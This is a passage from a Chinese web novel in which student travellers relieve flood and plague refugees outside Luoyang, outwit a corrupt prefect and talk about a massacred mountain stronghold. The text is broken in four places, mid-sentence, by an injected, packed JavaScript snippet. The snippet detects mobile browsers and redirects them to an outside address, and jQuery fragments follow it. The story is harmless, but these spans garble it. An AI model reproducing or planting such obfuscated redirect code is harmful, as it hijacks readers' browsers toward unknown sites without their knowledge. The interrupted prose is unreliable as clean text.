“听慕卿所说,城中的药材价格倒还不算太离谱,想必瘟疫的事情城中大部分人还不知道消息。”林致远说完,几人陷入了沉默。
没一会,姜飒气呼呼说道,“这种情况下,那府尹就自己躲去别院里逍遥,放着城内外这么多百姓不管,我们能不能把他抓来威胁他开城门赈灾?”
“不要冲动。”阮柏聿忙看向姜飒劝道。
“如果我们以家世身份去别院拜会那窦府尹,劝他开城赈灾,可行吗?”百里摇光问。
“可以试试。”林致远应了一声,接着道,“不过,我猜那府尹会借故不见我们。他既然敢封锁消息,瞒报灾情,必然有京中耳目帮其打点,即便灾情实际情况传到京中,他肯定也有应对方法。他定是有所依恃才敢如此行事。我们几个,并非官身,他也并没有一定要见我们的义务。而且我们一表明身份,在此时,他定能猜到我们的目的,也就知道,我们是他赈灾不力、渎职的证人。他若直接在别院见我们,就更加坐实了,以后问责起来他就不好解释了。若是不见,他还能找借口掩饰,比如不承认自己偷偷带了家人躲出城。”
“不过——”夏慕卿说道,“如果他肯见我们的话,这条路会更快,而且徐大人和巩县县令就都不必担风险。”
“那我们先试一试。”
百里摇光话音刚落,思卿走近说道,“你们知道吗?今日是七夕。”
“竟然已经七夕了?”姜飒惊讶道,他说完朝裴逍瞄了一眼,又很快收回目光,生怕被人看出什么。
“是啊,今日在城中,看到有人过节方才想起来。”夏慕卿应道。
思卿看了众人一圈,笑着道,“虽然我们现在处境狼狈,但是也不妨苦中作乐庆祝一下嘛,何必那么惨兮兮的呢。”
“方才我与邓小哥一同给灾民们诊治,也发现灾民们情绪低落,其实这样也不利于大家病情的恢复。我赞成思卿的提议。”曦月说道。她才从隔离区那边过来,眼睛以下遮了块棉布挡住口鼻,站得离众人有几步远。
百里摇光想起徐大人所讲,看向裴逍,裴逍也正想到此处,点了点头,百里摇光旋即道,“我也支持,徐大人也与我们说要想办法给灾民信心和希望,这也是赈灾很重要的一部分。”
“那说办就办。”思卿当即张罗起来。
姜飒敲锣吸引灾民们关注,随后思卿站于城门中间空地之处,在声音里注入内力,大声道,“诸位乡民,今日是乞巧节。虽然我们遭受了洪灾,家园被破坏,但是这些都是一时的,都会过去的。我们因为洪灾齐聚于此,共度七夕,也是一种缘分。何不一起欢庆一番,就当是祈福了。”说到这,她眼睛四处扫了扫,接着道,“有没有人会什么才艺的,来给大伙表演表演。”
灾民们愣愣看着,半天没有人主动出来。
思卿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802824|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见此,正打算自己舞套剑法撑撑场面,这时,夏慕卿上前朗声道,“我先来好了,我给大伙唱支曲子!”
“迢迢牵牛星,皎皎河汉女......河汉清且浅,相去复几许......”
这曲子以汉朝古诗为词作曲,以“牛郎织女”的爱情故事为基础,既悦耳动听,又通俗易懂。再加上夏慕卿声音清朗悦耳,宛如清泉击石,聆听者不自觉会被带入到他曲中天地里。歌声止,人们久久未能回神。
直到一个三十来岁的男子站到了空地处,挠了挠头,略不好意思地说,“我是在河清县耍百戏的,我最擅长跳丸弄剑。今日我来给大伙耍演一番助助兴。”
灾民们热闹起来,喝彩叫好声此起彼伏。
男子虽是落难至此,但是他赖以谋生的百戏道具,球和短剑仍然完好地带在身边,他双手抛接球和短剑,可达七丸五剑,其技艺可谓出神入化。
男子表演完百戏,场面热络起来。
一个十岁左右的小女孩也来到中央,脆生生地说,“我给大伙唱首山歌。”
“七月流火,九月授衣......无衣无褐,何以卒岁......”
小姑娘声音清脆婉转,山歌词义浅明,虽小姑娘还不太懂,只觉得好听便唱来,但灾民们皆能明白曲中道尽的生民苦辛,不少灾民们都落泪了,就连坐在裴逍旁边的姜飒也在用袖子拭眼睛。
小姑娘唱完,场上又静了,灾民们皆陷入了沉默,一种哀戚在人们之间传播。
小姑娘瞪着大眼睛来回看着,神色惶惶,想着是不是唱得不好,才没有人喝彩,那歌词她不太懂,只是觉得好听便唱来了。
“唱得好!”姜飒和百里摇光带头叫好,灾民们才应和起来,但到底因为情绪低落,气氛不高。
夏慕卿见此,怂恿裴逍去吹奏笛子。
裴逍见灾民们如此情状,没有再推辞,走到空地处,问,“诸位谁有笛子,可借我一用?”
人群中互相传问着。没一会,御三递上来一支竹笛,裴逍道谢接过。
她举笛试吹了几下,笛声清扬,她挑了首昂扬积极的曲子,奏了起来。
笛声悠扬、博大,仿佛春草初生、百花含苞、蕴含勃勃生机,让人感觉到生命之勃发与韧性。
曲终,阮柏聿站到场中,扬声道,“诸位乡民,虽然现在城门未开,但我们有粮有医,虽然我们家园被毁,亲人离散,但是我们还活着,我们还有双手,可以再次创造家园;我们还有双眼,可以再去看世间美景,看家人笑颜。所有的苦难,都会过去,我们一定要振作!”
“好!!!”
“振作!!!”
叫喊声响彻于洛阳城下,惊动了城楼上站着的守兵。他们纷纷往下看,见那些灾民们竟在呐喊唱歌,还有不少人围成圈跳起舞来。
如果他们下得城来,就会发现城下有几百灾民在踏歌,词和曲调都是夏慕卿即兴吟的几句,
大伙反复吟唱,踏地击节,载歌载舞。
“对酒当歌,人生几何。譬如朝露,去日苦多......”
在灾民最外延,有一白胡子僧人伫立了许久,最后捋着胡须,笑眯眼而去。
69. 第69章
洛阳城外,一座别院的亭廊中,府尹窦充正眯着眼,一边饮酒,一边看舞姬们跳柘枝舞。
忽然有家仆来报,“大人,府外有几个少年人求见,他们自称是安王世子、忠国公世子、温国公世子以及林相公子,路过东都,特意来拜会您的。”
窦充双目陡然清醒,精光射出,挥手致意舞姬们停下动作,口中念叨着,“安王、忠国公、温国公还有林相,这些人我素无往来,他们的后嗣这个时候来找我,而且竟然还找到了这里,难道是因为灾民的事?”
他沉思一会,吩咐家仆道,“你出去回禀他们,就说我在城中主持赈灾工作。洛阳城因此次洪灾涌入许多百姓,事务繁杂。而且现在已经发现有人感染疫病了,非常危险,请他们几个劳驾去其他府城。此次我无法亲自接待,来日有机会亲自给诸位公子赔罪。”
“是。”家仆领命而去。
“等等。”
家仆旋身回来,“大人还有什么吩咐?”
“派人在后面悄悄跟着,看他们有没有离开洛阳。”说完,窦充招手让舞姬们又跳起了柘枝舞。这里庭院广深,他在里面可以纵情玩乐,丝毫不用担心声音会传到前院。
他冷笑了一声,心想,几个十几岁的世家公子而已,见此情况,难道还不知难而退吗?
窦充避而不见,百里摇光几人折返。没走几步,姜飒气愤道,“这府尹太过分了!”
夏慕卿拽了拽他的衣袖,眼神瞟了瞟后面向他示意。
姜飒很快反应过来,明白夏慕卿是暗示他后面有人跟踪,遂闭口不言,由着夏慕卿拽着他离开。
直到几人快回到城门口,百里摇光说了声,“还有人跟着,不过现在离得远了。”姜飒方才开口,“憋死我了。我们明知道他就在里面,为何不直接冲进去找他对质?”
“窦充敢如此行事,定是有所依仗,即便我们闯进去,他怕是也有借口可以圆过去。但我们与他直接对质,也没有留存什么证据,真惹急了他,做出什么极端的事,我们回京路上怕也不太平。不如先戳破的好。”夏慕卿道。
林致远点了点头,说道,“他在京中的靠山,约莫是定国公窦家。”
几人互相看了看,一时陷入了沉默。
正在这时,姜飒看到不远处有一队人马正往城门口走来,那些人的衣裳都是统一颜色制式,约莫有几十人,几乎每个人都或扛或提着些行李。
“你们看,又有灾民来了!”姜飒指着来人的方向说道。
林致远回头看了看,说道,“不像灾民。”
那队人越来越近,可以看出他们竟是都穿了僧袍,有的人肩上扛了袋子,有的提着些锅具炊具。当先一人,胡须全白,看起来年纪有六十往上了。
“走,去看看。”百里摇光说着,当先向那些僧人迎了上去。“师父,洛阳城门关了,你们若是要进城可是进不了了。”
“谢谢施主,老衲知道。”领头的僧人两道长眉也是全白,说话时,眼神温和,慈眉善目。
“那你们怎么还往这边走?”姜飒问道。
“我们是附近大福先寺的僧人。”那长老说着,转身指着身后的僧人道,“听闻此处有许多灾民。我们将寺中的米粮、药材和锅具带来了,想为诸位施主略尽些薄力。”
“太好了!”姜飒兴奋合掌说道,几人相视而笑,心中皆是一松。
他们与僧人们一道返回,将消息带给众人,城外顿时生机盎然起来。
学子们、僧人们还有年轻健壮的灾民一起在城门□□动起来,有负责熬煮米粥的,有负责分发干粮的,还有跑来跑去递送帮忙的。
米粥煮好,裴逍在城门口帮忙给灾民发放米粥。她行动中,感觉到有人在注视她,便抬眼望去,只见一位浓眉大眼的约莫三十上下的僧人,正直直地盯着她,那僧人眼睛睁得很大,似有些不可置信。
裴逍收回目光,心下奇怪,自己从未见过此人,那人怎么好像认识自己的神情。
她给灾民发放完米粥,最后是他们这些学子和那些僧人师父来领粮。裴逍刚盛好一碗粥,递了上去,谁知那僧人没拿好,碗跌落,米粥浇在了裴逍的衣袖上。
“哎呀,这位师父,您拿好了呀。”姜飒当即出声道。
“小施主,实在对不起,都是贫僧的过错。”那僧人声音格外沙哑,慌里慌张地抓起了裴逍的左手,掀起了袖子,似要查看裴逍是否有烫着。
“无碍,不烫。”裴逍抽回手,徐徐说道。旋即她抬头看向那僧人,发现就是那个在人群中注视她的那人!
那僧人此时看着她的目光尤为复杂,颇为激动,嘴唇都有些颤抖。
裴逍回视着他,总觉得那僧人有什么话要说。
正在这时,在另一侧发放米粥的阮柏聿,冲着那僧人说了声,“师父,来拿这碗。”那僧人看向阮柏聿,突然定住了目光。
他半晌未有言语动作,后面在等的僧人都有些急了。
他方才与裴逍说了声,“多谢小施主宽宥。”而后走去阮柏聿那厢取粥。
裴逍虽对那僧人的反应不解,但见他未多言语,便也没再理会。
“你说他们没有离开洛阳,而是和那些灾民待在一起?”另一边,洛阳府尹窦充听到仆从回报的消息,开口问道。
“没错,大人。跟踪的人一直跟到城门外,还等了一段时间,他们都没有走。”
“这些黄毛小子!也不怕给他们染上疫病!”
“大人,万一他们回京告诉父兄,可怎么办?”
“哼,那有什么,就算说了,他们有证据吗?我明明就是在洛阳城里赈灾呢。城中也有灾民和疫病,我管理不过来,实行临时性封城有何不可?”
那仆从了悟过来,谄媚道,“大人英明。”
“而且,城外可是有疫病,那些公子哥,会不会染病撒手人寰还不一定,想管我的闲事,他们还太嫩了!”窦充冷冷说道,眼中闪过一抹阴狠,吩咐道,“不过,还是派人在远处盯着城外的情况,如有什么变化,立马来报。”
虽然如夏慕卿所料,那府尹避而不见这条路暂时走不通,但是有了大福先寺这些僧人带来的物资,灾民们的境况好了一些,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802825|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
至少暂时解决了当下的口粮和药材问题。而且,僧人中还有几位会医术的师父,同邓载之和曦月一起负责研制疫病药方,以及照看患了瘟疫和其他病症的百姓。
城外染瘟疫的灾民每天都在增多,但因为采取了一定的隔离措施,药材储量暂时也够,大福先寺的师父们与小哥、曦月他们夜以继日地照顾病人,研制药方,暂时控制住了疫病,不至于传播甚广。
裴逍他们这些学子和大福先寺的师父,还有年轻力壮的灾民一起帮忙烹食发放,就连祁青阳也一拐一拐地到处递送协助。
平王府那边不知怎么也收到了消息,其所属周边铺子也送来了不少粮食和药材。
这几日,夏慕卿拦了思卿和林府的婢从,整日跟在曦月身边帮忙。
他亲眼看见曦月在研究药方时和从其他医者那里学到医理后双眼放光的样子,看见曦月一身狼狈,衣裳沾满了药汁、病患的呕吐物,却毫不在意,始终神采奕奕地到处奔波,衣不解带地照顾病患。此时的曦月,与在京中谨小慎微的曦月判若两人,她对于治病救人的热忱和执着,使得她整个人都在发光。
夏慕卿本是非常在意洁净之人,近来跟着曦月也搞得身上脏兮兮的,但是他却甘之如饴,惹得姜飒频频调侃他。
原本他们估计要到第三天,才可能等来巩县救援物资,没想到,到了第二日傍晚的时候,城外远处有车马人员行近,巩县的县令赵坦带了粮食药材等物资和安王府的护卫一同前来。
百里摇光等人迎去,“大人,感谢您星夜护送物资前来。”
“你们辛苦了,现在怎么样了?”赵坦下马问道。
夏慕卿道,“城郊大福先寺的长老带了弟子和粮食药材来支援,帮灾民们撑过两日,您带来的这些物资正是及时雨。现下的主要问题是要想办法研制治愈疫病的药方了。”
“那就好。正好我从巩县征召了几个有防治疫病经验的医者过来,希望能帮上忙。”
赵坦吩咐随行官吏分发物资等事宜,而后问道,“徐兄现下如何?”
“徐大人还关在洛阳府尹衙门中。”百里摇光回应道。
“唉,本想着来了能见他一面的,看来这次没机会了,我得赶回县里,巩县里也有不少灾民。”
“辛苦大人前来。这边物资和人员尚足,暂时不用担心。您只顾回去料理巩县的事务吧。”百里摇光说完,裴逍开口道,“学生还想与大人提醒一句,您此次来洛阳府尹若知,必然会对您心存芥蒂,您需小心行事。”
“这点我也想到了。”徐坦点了点头,接着道,“但是天灾当头,百姓罹难,我没办法做那么多计较和权衡,有后患就有后患吧,先不愧于心再说!”
说完,他翻身上马,看着几个少年问道,“你们几个少年到底是什么人?竟颇有侠义之心,还有勇有谋,本想着得留下个县吏来组织赈灾工作,没想到你们这里井井有条的。”
“我们是国子学学生,外出游历路过此地。”百里摇光道。
“好好好,少年当如是!告辞了!”赵坦于马上长啸一声,随即驾马离去。
70. 第70章
次日一早,洛阳府尹窦充还在床上睡着,迷迷糊糊听到门外仆从们在谈论着什么,虽然他们已经压低了声音,但声音中慌张却掩饰不了。窦充再也睡不着,唤了人进来。
“你们大早上的,在外面议论什么?”
“大人,那巩县县令赵坦带了人和粮食、药材到城外赈灾。”仆从忙上前报道。
窦充一双杂乱的眉顿时皱起来,“关他什么事情?真是狗拿耗子?!”
仆从们见府尹心情不好,也不敢多话。
“那几个世家公子还在城外吗?”
“是的,大人,他们一直没走。”
“那赵坦过来,很有可能就是这几个公子哥派人送信去的。他们这么一搞,我要是再紧闭城门就不好了。”说完,他又思索起来,过了半晌,他奸猾一笑,吩咐道,“徐清不是想赈灾吗?就传我令,由他全权主持赈灾工作,然后对外称我因赈灾染了疫病,于府衙中封闭治疾。”
“是。大人。”
“你马上就去。对了,回来的时候就先别来见我了,在外院待上一段时间。”
“这惜命的府尹......”,仆从心中腹诽了几句,领命而出。
午时,洛阳城门徐徐打开,徐清带了赈灾的人员和粮食、药材走了出来。
“徐大人,您怎么出来了?”百里摇光上前问道。
“窦府尹今日突然传令让我主持赈灾工作,也不知为何。反正可以出来做事情,我就将城中事情人员安排好出来了。现下情况如何?”
百里摇光一一告知。
城外的灾民们见城门开了,有官员带了人和物资出来,纷纷向城门处集中。
徐清当众宣布,“乡民们,我奉洛阳府尹大人命令,前来赈灾,所有食粮药材充足,大伙不必担心,一切都会好起来!”
劫后余生的喜悦之情在灾民中蔓延,人人脸上浮上了希望。
徐清接着道,“但是因为城内外现在都有了瘟疫,为了防止疫情扩散,我们暂时还是限制大伙先不要进城,城内的百姓也先不出。不过请诸位不要惊慌,等瘟疫过去,就会恢复通行,届时,大伙便可以见到洛阳城中的亲老。”
随后,徐清安排人员有条不紊地开始了城外的赈灾。待这些安排妥当,他方才来到裴逍等人驻扎的区域,与徐夫人团聚。不过鉴于当前的情况,还是先让徐夫人带着孩子在城外。
“窦府尹回城了?”裴逍向徐清揖了一礼,开口问道。
徐清压低声音说道,“还在别院,但对外宣称因赈灾染了疫病,于府衙内封闭疗愈。”
姜飒冷嗤了一声,“真是无耻。”
徐清亲自带官吏开义仓,监督制作米粥饼等食物,运送出城;开平仓投入洛阳市面,平抑城中物价;并且募集药材和医者,到城外救治病患。出城赈灾的医者,到城外了解了瘟疫情况,为染病百姓救治。邓载之和曦月将当前病患情况一一告知,并将之前关于疫病药方的一些研究成果分享出来,和医者们一起救治病人,共同商量疫病解决之法。
城中也有不少富户和百姓得知消息,愿意为城外百姓尽一些力,散粟糜粥,或捐赠衣被日用等物,或施药救助急疫。城外灾民情况一日比一日好转。
裴逍这些国子学学子都在其中奔波出力,祁青阳因之前本就受了重伤,近来又奔波帮忙,没有好好休养,感染了瘟疫,也搬进了隔离区。
这日,裴逍正在给祁青阳喂药,祁青阳见周围无人,开口问道,“你怎么不问我为何会武?”
裴逍淡淡回道,“等你想说的时候,自然会说。”
祁青阳轻笑了一声,没有再说话。
中元节那日,京中圣上收到姜飒派人传回去的真实消息,立即指派了在洛阳附近的按察使作为赈灾巡查到洛阳赈恤,并下令户部采取赈灾措施减免赋役、调发粮食赈灾、平抑物价。
洛阳城外,灾民们纷纷在祭奠家中因这次洪灾去世的亲人。这日,徐清考虑到民众祭奠亲人的习俗,也往城外运送了许多纸钱、孔明灯等祭奠用品。
当烈阳没入地面,皓月徐徐升空,裴逍假托说自己入城中找徐大人,实则避开众人,独自驾马奔到了几里外的邙山上。
裴逍没有带纸钱,也没有带孔明灯,只是拿了一壶酒,席地坐在了山癫之上。
她照旧将钱袋、弹弓、长枪、两块玉佩放到前面,将酒在地上从左至右,撒一遍,仰头喝一口。喃喃念道,“棠梨花映白杨树,尽是死生离别处。冥冥重泉哭不闻,萧萧暮雨人归去.....”
“你是难凉寨里的那个人吧?”百里摇光的声音突然在裴逍身后响起。
裴逍被惊了一下,握着酒壶的手猛地收紧,旋即又故作轻松地仰头喝了口酒。
“这个问题我早就回答过你。”
百里摇光没有回应。
裴逍转回头看去,夜风习习,少年挺立于山巅,长发与衣衫随风飘向一侧。月光下,那双桃花眼更加亮了,只是那眼牢牢凝住裴逍,似是非要听到个答案不可。
“难凉寨里那个人?到底是什么人?”
“你不知道?”
“我为何会知道这人?”
百里摇光叹了口气,移开目光。“那就当我给你讲个故事吧。”
“嗯。”裴逍见百里摇光放弃追问,松了口气。
百里摇光走到裴逍身侧,也席地坐了下来。他见裴逍一一收起那些物件,没有多问,只是看着远处,缓缓开了口。
“一年前,祖父和父亲让我回京入国子学读书,我便离开朔州南下,途径雁城在驿站休息,当地县令突然寻来,请求我帮忙剿匪,我答应后,并没有急于动手。而是先在城内外调查了那个匪寨,也就是难凉寨。我在城中探访时,得知城中百姓对难凉寨的匪众评价却很高,不像是匪贼,倒像是义侠......”
“那日从山上下来,我便去找了县令质问,为何不与我商量就直接清剿了山寨,而且还屠戮了所有人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802826|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。那县令解释,是山寨中人得知了我要领兵剿匪的消息后,掳了城中富户子女为质,那富户家雇了很多杀手,联合了县衙去山寨。人命关天,事急从权,所以那县令,就没与我商量,直接动手了。但是因为那些江湖杀手下手狠辣,这才导致寨中人全被屠戮。”
裴逍眉头越蹙越紧,心中浮起疑虑。
“城中富户纵是跋扈,但稚子何辜?山寨中人不该劫掠人家幼童为质。既是有这样的前因,那任寨中人再英豪、再忠义,落得如此惨的下场,也不得不说是咎由自取。我纵是惋惜、不忍,也只得罢了,自回京中了。”
“这件事,我每每想起来,都很唏嘘。那个埋尸的少年,又何尝不是无辜稚子?可是,人的善与恶,结成的各种因果,纠缠在一起,又能说谁是一定对的,谁是一定错的?如果有机会再见到他的话,我只想劝他放下那些过往,纵情去过属于自己的一生。”
百里摇光说完,裴逍久久没有回应。
直至今日,她才知道百里摇光当时出现在难凉寨中的原因。她想起自认识百里摇光以来,他虽然多番试探,却并未为难,他应该早已认出了自己,却并没有告发,竟还费了一番功夫拐着弯告诉她他的想法。想到此,裴逍轻笑了一声。
“你笑什么?”百里摇光转过头看向她。
“你相信难凉寨是因为劫了富户幼子才惹上杀身之祸的吗?”
“难道不是?”百里摇光反问道,其实他心里也一直不愿意相信这是事实。
其实这件事,裴逍一年前已经查过,雁城官府公文通告难凉寨被剿灭之罪行中,能算的上实罪的就此一项。裴逍在雁城中通过在县学读书的同窗,迂回查到那家富户并不是自己雇佣了杀手,而是被杀手以幼子威胁,要其声称幼子被难凉寨劫掠为质,并报官与官府共同剿匪。这一点,据姜飒所说,圣上派去调查的人也查到了。
所以,所谓的为救人质剿匪,实际上只是为了给那些杀手到山寨中找人灭口的行为一个合理的解释。而他们要找、要杀的人其实是姜飒——先帝第七子、当朝晏王夏晏河。
而要杀皇子的人,左不过就是在权力中心,长安城里的一些人。也就是,害了难凉寨上下一百多条人命的罪魁祸首。
而难凉寨,没有一个人会为了反抗官兵,去做劫持无辜稚子为质的事情!裴逍当然相信!
“我不知道。不过,难凉寨的这个名字,让我想起几句诗词。”那几句诗词,是义父请父亲给山寨改名时,父亲即兴口占的。裴逍看着远处,淡淡说道,“忧患焚和抑何亟?满腔热血冰难凉。丈夫死牖下,恨不为国殇。”
裴逍看着远处洛阳城中灯火万家,想起那些人,目光渐渐柔和,嘴角微微扬起,那梨涡便挂在了颊边。“既然取这个名字,我想,他们一定是一群磊落的人。”
百里摇光侧首看到这幕,嘴角也不自觉地弯起,眼中似桃花绽开。
“这诗是谁作的?”
“雁城里的先生。”
71. 第71章
月升中天,两人欲回。裴逍解了系在树上的绳子,牵起马,突然想起百里摇光定是一路跟着她来的,但是她却始终没有发现,便开口问道,“你怎么来的?”
百里摇光眼神错开,回避着裴逍,低声说道,“跑来的。”
他会内力和轻功,跟着裴逍不被发现并不难。裴逍轻叹了口气,说道,“你其实不必如此。我只是想找个安静的地方,祭奠一下亡父。”
“哦”百里摇光低低应了一声,心里却在想,“谁晓得你一个人骑着马拿着枪,避开人是要做什么呢?再这么行事,我还是要跟。大不了不让你发现。”
两人下到山下,裴逍当先上马,正准备伸手拉百里摇光,却见那人已经跑出了几步远。
裴逍当即策马跟了上去,饶是她,也忍不住笑了,“你还打算跑回去?”
“嗯”。百里摇光一点速度没降,抬头看着裴逍回道。
那桃花眼清澈得让裴逍想起了姜姜,她忍不住笑出了声。
百里摇光不解。
“上马,一起回!”裴逍弯腰伸出手,笑看着百里摇光道。
马速没有降,百里摇光却渐渐放慢速度停了下来。两人之间的距离骤然拉远。
裴逍仍保持着弯腰伸手的姿势,逐渐转头向后看着。
百里摇光注视着裴逍,原地站了一会,迈腿追了上来。他露着一口白牙的笑脸越来越近,裴逍又向前伸了一下手臂,“来!”
百里摇光抓住裴逍的手,运起轻功,瞬息间便稳坐在了马上。他习惯性地向前抓缰绳,却握住了裴逍的手,等反应过来是什么,惊得一下子收了回去,而后也不知道手该放到哪,一时愣住了。
幸好马跑动得速度还没有很快,不至于将他颠了下去。
“你来控缰绳吧。”裴逍也是第一次和百里摇光共骑,想着百里摇光可能是习惯控缰绳便说道。
“好。”
裴逍见百里摇光已握住缰绳,便松了手。
百里摇光身形长大,两条长臂握住缰绳,将身形瘦小一些的裴逍环在了中间。裴逍不需要抓哪里,也不会掉下去。
只是她突然想起来,之前和姜飒共骑的时候,那厮倒是从未顾忌地直接搂紧。是因为和姜飒共骑时都是危急之时?还是因为姜飒之前从未怀疑过自己是女子?而百里摇光,难道已经发现自己是女子了?
两人回到城门口,见思卿她们在应着中元节的景儿讲鬼故事,姜飒、曦月、阿剑、绿绮、小游都坐在一处,明明都很害怕,还非要听。
姜飒和小游抱在一起随着思卿的故事情节,时不时“啊啊呀呀”叫几声,曦月、绿绮一边一个抱着阿剑,三人凑在一处瑟瑟发抖。
裴逍看得一阵好笑。
夜里,姜飒突然惊叫了一声坐起来。
“怎么了你?”百里摇光被他吵醒,无奈问道。
“做了噩梦。”姜飒迷迷糊糊说道。
百里摇光嗤了一声,悠悠开口道,“还要听鬼故事吗?”
姜飒嘴巴一撇摇摇头,旋即又点了点头。
裴逍捧着本书,还没入睡,见此无奈摇了摇头。
“阿逍,可以陪我去小——?”姜飒习惯性地想找裴逍陪他去小解,突然想到裴逍是女子,以前不知道就算了,如今知道了却不可以再这样了。他话说到一半,住了口,故作掩饰地轻咳了两声,又翻身躺下了。
裴逍已经明了,轻声开口道,“小的时候,我曾听师母说过一句话。”
“我们害怕的鬼,其实都是别人心心念念、朝思暮想的人。”
“那时并不是很能理解,直到如今,方才有深切体会。虽然圣人言,子不语怪力乱神,但是每到这种时候,我都希望真的有鬼神一说,这样我还有可能再见到他们。”
“这么一想,便没什么可怕的了。”
姜飒心里有些揪揪地隐痛,自他记事起,并没有过这种经历。但是裴逍的痛苦却与他脱不了干系,甚至可以说是因为他才造成的,裴逍比他小,还是个女郎,却独自承受着这些本不该有的苦难。她本该是像思卿、曦月那样,亲朋俱在,在这个年纪,讨论着一两年及笄后想嫁的小郎君。然而她却不得不隐藏身份,只身冒险入国子监求学,只为了日后能查清真相,为寨中的一百多条人命报仇。
而他自己身为先帝皇子,享受万民供养,养尊处优、锦衣玉食,长到了十五岁,却如此无用。
想到这,他愤愤地起身,自出去了。
裴逍收了书卷,在席子上躺了下来,身后传来百里摇光的声音,“你还有我——”。裴逍疑惑转了个身子看向百里摇光,却见百里摇光已经翻身背对着她,少年的声音又响了起来,“——们”。
裴逍前后联系了一下,方才明白过来,她扭正身子仰躺过来,嘴角不自觉地上扬,透过帘帐,见夜空中一轮圆月高悬。
朗月之下,一个帐篷里传来男子兴奋的叫声,“我想出来治疫药方了!”
邓载之当晚琢磨出药方,经感染疫病的百姓试了几贴后,验证有效,便将方子推行施用。
城外染疫病的灾民情况也渐渐好转,瘟疫得到控制,洛阳城解除城门禁制指日可待。
这时,洛阳府尹窦充却突然来到了城外视察民情,与灾民解释道,“乡民们,你们辛苦了!此次天灾突降,我分外忧心,加之操劳赈灾事务,染上了瘟疫,所以这些日子未能亲自来看大家,请你们恕我之罪!”
灾民们并不知道内情,听他如此说,纷纷感激道,“大人也受苦了!”
那窦充很是受用,还装模作样地咳了几声,摆摆手示意民众息声,接着道,“我派了我最信任的助手,徐清徐大人来城外主持工作,大伙还有什么缺的、不足的,尽管与我们说。”
灾民们信以为真,纷纷叫好。
徐清始终保持着沉默,没说什么。
人群中间,姜飒轻嗤道,“从未见过如此厚颜无耻之人。”
百里摇光应和道,“难得跟你见解一致。只是奇怪了,这府尹为何突然转变了性情,难道是得到了什么消息?”
“应该是已经收到京中的消息了,再加上现在疫情已经得到控制,赈灾事宜在徐大人的组织下,也进行得有条不紊,眼看就到尾声了,人家出来露露脸,就将徐大人的功劳全揽过去了。”夏慕卿摇了摇折扇,眼中尽是讥讽。
果然第二日,圣上临时派遣来进行赈灾抚恤的官员便到了。
赈灾官员给灾民带来消息,圣上已下令减免灾区赋税,并调发粮食物资。赈灾官员在原先徐大人的安排之外,又下令紧急建造临时住所,也使用了一些官屋,征召了一些民间房舍,临时性安置灾民;安排妥善处置因瘟疫死去的百姓尸体。听徐大人说,后续还会通过如借贷、便宜粮食等方式来逐步恢复生产。
裴逍等人终于彻底放松下来,到洛阳城中逛了两日,见城中物价平复,百姓们的生活又走上了正轨,城中街市也恢复了往日繁华。
离国子学开学,所剩时日不多,裴逍一行国子学师生准备返程回京。
回去之前,裴逍几人到洛阳府衙找徐清辞行,却正好碰到那窦充正站在府衙门口斥责徐清,“你是那叛国的凌风敖一党,有这个烙印,还想在官场上混个好?老实点在我手下好好干吧。”
突然听到凌风敖的名字,几个少年神色一凛。
裴逍几人等窦充离开,上前与徐清见礼。徐清无奈笑了笑,带着几人一同去了府衙办
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15804257|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事房舍。
待进了办事房,只剩了他们几人,姜飒开口问道,“徐大人,您是否要同我们一道回长安,我可以与那窦充和赈灾官员提要求,请徐大人护送我们回京,以免我们离开后,您被他为难。而且此去京中就不必再来这里了,在京中任个官职如何?”
